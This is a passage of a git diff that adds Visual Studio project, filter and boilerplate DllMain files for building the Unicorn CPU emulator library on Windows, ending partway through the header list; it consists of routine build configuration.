b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj.filters new file mode 100644 index 0000000..cf669e8 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/sparc64-softmmu/sparc64-softmmu.vcxproj.filters @@ -0,0 +1,125 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{ee6a3abf-6f14-47ab-8b40-f859d030230a}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{4a271b0a-7736-4457-98f8-8c21ad4d2601}</UniqueIdentifier> + </Filter> + <Filter Include="hw\sparc64"> + <UniqueIdentifier>{46e355ab-da0b-431b-929b-8d77b3ab90bc}</UniqueIdentifier> + </Filter> + <Filter Include="target-sparc"> + <UniqueIdentifier>{1f15e2b2-fae3-41e5-b787-70c44beb828c}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{7c7b0370-fe65-4c21-94e6-f4561470087d}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{51a4ddc6-4078-4db0-9b29-c68c558b2f93}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\cpu-qom.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\helper.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-sparc\unicorn.h"> + <Filter>target-sparc</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\sparc64.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\target-sparc\cc_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\cpu.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\fop_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\ldst_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\mmu_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\translate.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\win_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\vis_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\int64_helper.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-sparc\unicorn64.c"> + <Filter>target-sparc</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\hw\sparc64\sun4u.c"> + <Filter>hw\sparc64</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/dllmain.cpp b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/dllmain.cpp new file mode 100644 index 0000000..3d0eb14 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/dllmain.cpp @@ -0,0 +1,18 @@ +#include <windows.h> + +BOOL APIENTRY DllMain( HMODULE hModule, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) +{ + switch (ul_reason_for_call) + { + case DLL_PROCESS_ATTACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + case DLL_PROCESS_DETACH: + break; + } + return TRUE; +} + diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj new file mode 100644 index 0000000..b8bf19e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/unicorn/unicorn.vcxproj @@ -0,0 +1,374 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{ACB78BBB-E8F4-4EAD-B981-9C6155DE100B}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>unicorn</RootNamespace> + <ProjectName>unicorn</ProjectName> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>DynamicLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + <Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;UNICORN_DLL_EXPORTS;UNICORN_SHARED;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__i386__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;UNICORN_DLL_EXPORTS;UNICORN_SHARED;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__x86_64__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;UNICORN_DLL_EXPORTS;UNICORN_SHARED;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__i386__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + <PostBuildEvent> + <Command>mkdir "$(SolutionDir)distro\" +mkdir "$(SolutionDir)distro\include" +mkdir "$(SolutionDir)distro\include\unicorn" +mkdir "$(SolutionDir)distro\$(Platform)" + +copy "$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).dll" "$(SolutionDir)distro\$(Platform)\" +copy "$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).lib" "$(SolutionDir)distro\$(Platform)\" + +copy "$(SolutionDir)..\include\unicorn\*.h" "$(SolutionDir)distro\include\unicorn\" +</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>NotUsing</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;UNICORN_DLL_EXPORTS;UNICORN_SHARED;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;__x86_64__;UNICORN_HAS_ARM;UNICORN_HAS_ARM64;UNICORN_HAS_M68K;UNICORN_HAS_MIPS;UNICORN_HAS_MIPS64;UNICORN_HAS_MIPSEL;UNICORN_HAS_MIPS64EL;UNICORN_HAS_SPARC;UNICORN_HAS_X86;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../include;../../../qemu;../../../qemu/include;../../../qemu/tcg</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);aarch64-softmmu.lib;aarch64eb-softmmu.lib;arm-softmmu.lib;armeb-softmmu.lib;m68k-softmmu.lib;mips-softmmu.lib;mips64-softmmu.lib;mipsel-softmmu.lib;mips64el-softmmu.lib;sparc-softmmu.lib;sparc64-softmmu.lib;x86_64-softmmu.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + <PostBuildEvent> + <Command>mkdir "$(SolutionDir)distro\" +mkdir "$(SolutionDir)distro\include" +mkdir "$(SolutionDir)distro\include\unicorn" +mkdir "$(SolutionDir)distro\$(Platform)" + +copy "$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).dll" "$(SolutionDir)distro\$(Platform)\" +copy "$(SolutionDir)$(Platform)\$(Configuration)\$(ProjectName).lib" "$(SolutionDir)distro\$(Platform)\" + +copy "$(SolutionDir)..\include\unicorn\*.h" "$(SolutionDir)distro\include\unicorn\" +</Command> + </PostBuildEvent> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\list.c" /> + <ClCompile Include="..\..\..\qemu\accel.c" /> + <ClCompile Include="..\..\..\qemu\glib_compat.c" /> + <ClCompile Include="..\..\..\qemu\hw\core\machine.c" /> + <ClCompile Include="..\..\..\qemu\hw\core\qdev.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qapi-dealloc-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qapi-visit-core.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qmp-input-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qapi\qmp-output-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qapi\string-input-visitor.c" /> + <ClCompile Include="..\..\..\qemu\qemu-log.c" /> + <ClCompile Include="..\..\..\qemu\qemu-timer.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qbool.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qdict.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qerror.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qfloat.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qint.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qlist.c" /> + <ClCompile Include="..\..\..\qemu\qobject\qstring.c" /> + <ClCompile Include="..\..\..\qemu\qom\container.c" /> + <ClCompile Include="..\..\..\qemu\qom\cpu.c" /> + <ClCompile Include="..\..\..\qemu\qom\object.c" /> + <ClCompile Include="..\..\..\qemu\qom\qom-qobject.c" /> + <ClCompile Include="..\..\..\qemu\tcg-runtime.c" /> + <ClCompile Include="..\..\..\qemu\util\aes.c" /> + <ClCompile Include="..\..\..\qemu\util\bitmap.c" /> + <ClCompile Include="..\..\..\qemu\util\bitops.c" /> + <ClCompile Include="..\..\..\qemu\util\crc32c.c" /> + <ClCompile Include="..\..\..\qemu\util\cutils.c" /> + <ClCompile Include="..\..\..\qemu\util\error.c" /> + <ClCompile Include="..\..\..\qemu\util\getauxval.c" /> + <ClCompile Include="..\..\..\qemu\util\host-utils.c" /> + <ClCompile Include="..\..\..\qemu\util\module.c" /> + <ClCompile Include="..\..\..\qemu\util\oslib-win32.c" /> + <ClCompile Include="..\..\..\qemu\util\qemu-error.c" /> + <ClCompile Include="..\..\..\qemu\util\qemu-thread-win32.c" /> + <ClCompile Include="..\..\..\qemu\util\qemu-timer-common.c" /> + <ClCompile Include="..\..\..\qemu\vl.c" /> + <ClCompile Include="..\..\..\uc.c" /> + <ClCompile Include="..\qapi-types.c" /> + <ClCompile Include="..\qapi-visit.c" /> + <ClCompile Include="dllmain.cpp"> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + </PrecompiledHeader> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged> + <CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + </PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + </PrecompiledHeader> + </ClCompile> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\include\list.h" /> + <ClInclude Include="..\..\..\include\qemu.h" /> + <ClInclude Include="..\..\..\include\uc_priv.h" /> + <ClInclude Include="..\..\..\include\unicorn\arm.h" /> + <ClInclude Include="..\..\..\include\unicorn\arm64.h" /> + <ClInclude Include="..\..\..\include\unicorn\m68k.h" /> + <ClInclude Include="..\..\..\include\unicorn\mips.h" /> + <ClInclude Include="..\..\..\include\unicorn\platform.h" /> + <ClInclude Include="..\..\..\include\unicorn\sparc.h" /> + <ClInclude Include="..\..\..\include\unicorn\unicorn.h" /> + <ClInclude Include="..\..\..\include\unicorn\x86.h" /> + <ClInclude Include="..\..\..\qemu\include\config.h" /> + <ClInclude Include="..\..\..\qemu\include\elf.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\address-spaces.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-all.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-common.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu-defs.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cputlb.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\cpu_ldst_template.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\exec-all.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\gen-icount.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-gen.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-head.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-proto.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\helper-tcg.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\hwaddr.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\ioport.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\memory-internal.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\memory.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\poison.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\ram_addr.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\softmmu-semi.h" /> + <ClInclude Include="..\..\..\qemu\include\exec\spinlock.h" /> + <ClInclude Include="..\..\..\qemu\include\fpu\softfloat.h" /> + <ClInclude Include="..\..\..\qemu\include\glib_compat.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\arm\arm.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\boards.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\cpu\icc_bus.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\hw.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\i386\apic_internal.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\i386\pc.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\irq.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\m68k.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\m68k\mcf.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\mips\bios.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\mips\cpudevs.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\mips\mips.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\qdev-core.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\qdev.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\grlib.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sparc32_dma.h" /> + <ClInclude Include="..\..\..\qemu\include\hw\sparc\sun4m.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\dealloc-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\error.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\opts-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-input-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp-output-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qbool.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qdict.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qerror.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qfloat.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qint.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qjson.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qlist.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qobject.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\qstring.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\qmp\types.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\string-input-visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor-impl.h" /> + <ClInclude Include="..\..\..\qemu\include\qapi\visitor.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu-common.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\aes.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\atomic.h" /> + <ClInclude Include="..\..\..\qemu\include\qemu\bitmap.h" /> + <ClInclude 